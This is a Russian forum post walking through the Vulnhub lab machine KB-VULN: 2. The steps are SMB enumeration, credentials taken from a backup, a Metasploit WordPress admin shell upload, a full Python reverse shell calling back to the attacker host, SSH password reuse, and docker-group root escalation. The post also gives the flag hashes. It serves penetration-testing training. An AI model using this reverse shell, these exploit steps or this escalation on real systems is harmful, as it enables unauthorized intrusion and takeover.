ANTICHAT

ANTICHAT (https://forum.antichat.xyz/index.php)
-   Задания/Квесты/CTF/Конкурсы (https://forum.antichat.xyz/forumdisplay.php?f=112)
-   -   Дыра в docker или Writeup KB-VULN: 2 Vulnhub (https://forum.antichat.xyz/showthread.php?t=1639051)

INPC 03.12.2021 16:24

Приветствую!

Это продолжение прохождения серии коробок с Vulnhub - KB-VULN. Прохождение предыдущей машины можно посмотреть тут.

В данной статье представлено прохождение машины KB-VULN: 2 ( Найти и скачать коробку можно тут KB-VULN: 2 ).

Исходные данные:
Имеется атакуемая машина под управлением Ubuntu linux, на которой есть 2 флага user.txt и flag.txt.
Машина, с которой проводится атака с ОС Kali Linux.
Задача: получить 2 флага с целевой машины и права пользователя root.

Итак, как обычно, ищем атакуемую машину в сети:

Код:

~$ sudo netdiscover
У меня в сети ip целевой машины = 192.168.3.133.
И просканировав её nmap'ом, видим, что открыты порты для 3-х сервисов:

Код:

~$ nmap -A -p- -v 192.168.3.120
https://forum.antichat.xyz/attachmen...8526884196.png

А именно: 21 порт с ftp, 22 порт - ssh, 80 порт - http и самба (139, 445 порты).
Для начала следует посмотреть в самбу, вдруг там есть что-то с открытым доступом:

Код:

~$ smbmap -H 192.168.3.133
https://forum.antichat.xyz/attachmen...8527873564.png

Видим, что каталог Anonymous доступен для чтения, без авторизации, посмотрим, что в нем (пароль оставляем пустым, просто жмем ENTER):

Код:

~$ smbclient //192.168.3.133/Anonymous
https://forum.antichat.xyz/attachmen...8528140755.png

После подключения, видно что в каталоге есть всего 1 файл - архив backup.zip, стягиваем его на основную машину и посмотрим, что же внутри.
Распаковав архив видно, что внутри есть логин и пароль:

https://forum.antichat.xyz/attachmen...8528362103.png

Судя по всему, это учетные данные от админки сайта, но пока оставим их и посмотрим, что интересного есть на сайте:

Код:

~$ sudo dirsearch -u 'http://192.168.3.133' -e js,htm,php,bak,html,txt,jpg,png,jpeg -w /usr/share/dirb/wordlists/big.txt -r -f
https://forum.antichat.xyz/attachmen...8528535508.png

Тут сразу видно директорию /wordpress.
Догадка подтвердилась, в бэкапе были данные для авторизации, но прежде, чем лезть в форму авторизации, нужно чуть-чуть подправить файл hosts:

Код:

~$ sudo echo "192.168.3.133 kb.vuln" >> /etc/hosts
И теперь, перейдя на веб-сайт (http://kb.vuln/wordpress) видим корректно работающую форму авторизации:

https://forum.antichat.xyz/attachmen...8529333396.png

Учетные данные, найденные ранее подходят. Теперь есть несколько путей залить шелл на сервер - уязвимые плагины, замена файла 404.php, в темах (однако в данном случае это не работает, заливать придется через ftp) и др.

Я буду использовать один из эксплоитов в metasploit, для wordpress, который требует авторизации:

Код:

~$ msfconsole
msf6 > use exploit/unix/webapp/wp_admin_shell_upload
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set rhosts 192.168.3.133
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set username admin
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set password MachineBoy141
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set targeturi /wordpress
msf6 exploit(unix/webapp/wp_admin_shell_upload) > exploit

https://forum.antichat.xyz/attachmen...8529912617.png

Вот мы и внутри, самое время пойти и забрать заслуженный первый флаг:

Код:

meterpreter > cd /home/kbadmin
Код:

meterpreter > cat user.txt
03bf4d20dac5644c75e69e40bad48db0

https://forum.antichat.xyz/attachmen...8530023836.png

Еще мне захотелось чуток улучшить шелл, закинув на сервер python скрипт, открывающий доступ к bash:
Собственно сам rev.py:

Python:


Код:

import
os
,
socket
,
subprocess
s
=
socket
.
socket
(
socket
.
AF_INET
,
socket
.
SOCK_STREAM
)
s
.
connect
(
(
"192.168.3.131"
,
1337
)
)
os
.
dup2
(
s
.
fileno
(
)
,
0
)
os
.
dup2
(
s
.
fileno
(
)
,
1
)
os
.
dup2
(
s
.
fileno
(
)
,
2
)
p
=
subprocess
.
call
(
[
"/bin/bash"
,
"-i"
]
)

https://forum.antichat.xyz/attachmen...8530386519.png

На основной машине развернул прослушиватель

https://forum.antichat.xyz/attachmen...8530558546.png

И, из метерпретера, запустил rev.py:

https://forum.antichat.xyz/attachmen...8530635271.png

Проверка, какие пользователи есть в системе, показала, что, помимо рута, существует только один пользователь, чью домашнюю директорию мы и посещали (kbadmin):

Код:

www-data@kb-server:/home/kbadmin$ cat /etc/passwd
https://forum.antichat.xyz/attachmen...8530756412.png

Итак, теперь у нас есть пользовательский флаг, стабильный шелл и имя пользователя. Если честно тут я завис на довольно долгое время, пытаясь получить доступ к учетке юзера kbadmin, пока не додумался, при ввести тот же пароль, что и для админки на сайте (MachineBoy141). И, о чудо, это сработало:

Код:

kali@kali~$ ssh kbadmin@192.168.3.133
Password: MachineBoy141

https://forum.antichat.xyz/attachmen...8531007848.png

Ура, теперь наконец можно начать получать рут. Первым делом стоит прочитать содержимое файла note.txt, который лежит в домашней директории пользователя, рядом с флагом:

https://forum.antichat.xyz/attachmen...8531142871.png

Подсказка гласит использовать докер. И тут я нова завис, я пробовал идти другими путями, но в конце-концов решил следовать подсказке и перелопатив половину интернета, я наткнулся на замечательную статью, объясняющую, почему следует отказаться от использования группы "docker" и не добавлять в неё кого попало: вот_она и соответствующий гит-репозиторий вот_он. В статье описана уязвимость докера, позволяющая получить root оболочку любому пользователю, который является членом группы "docker", рекомендую статью к прочтению (я вот не знал данной информации и для меня она оказалось очень интересной и полезной). Таким образом, всего одной командой можно получить рут:

Код:

kbadmin@kb-server:~$ docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
Данная команда получает образ Docker, созданный автором приведенной выше статьи, из реестра Docker Hub и запускает его.

Параметр -v, говорит, что мы хотим создать том в экземпляре Docker, а параметры -i и -t переводят докер в режим оболочки, вместо запуска демона.

https://forum.antichat.xyz/attachmen...8532362718.png

И в результате мы получаем рут.

Теперь идем и спокойно забираем флаг:

Код:

root@df1a42e8284e:~# cat /root/flag.txt
dc387b4cf1a4143f562dd1bdb3790ff1

С машиной KB-VULN:2 разобрались, так что пора заканчивать. Если кто-то нашел другой способ прохождения данный коробки, пожалуйста поделитесь в комментариях, или в личку, интересно посмотреть.

Спасибо всем, кто дочитал этот врайтап до конца.


Время: 21:02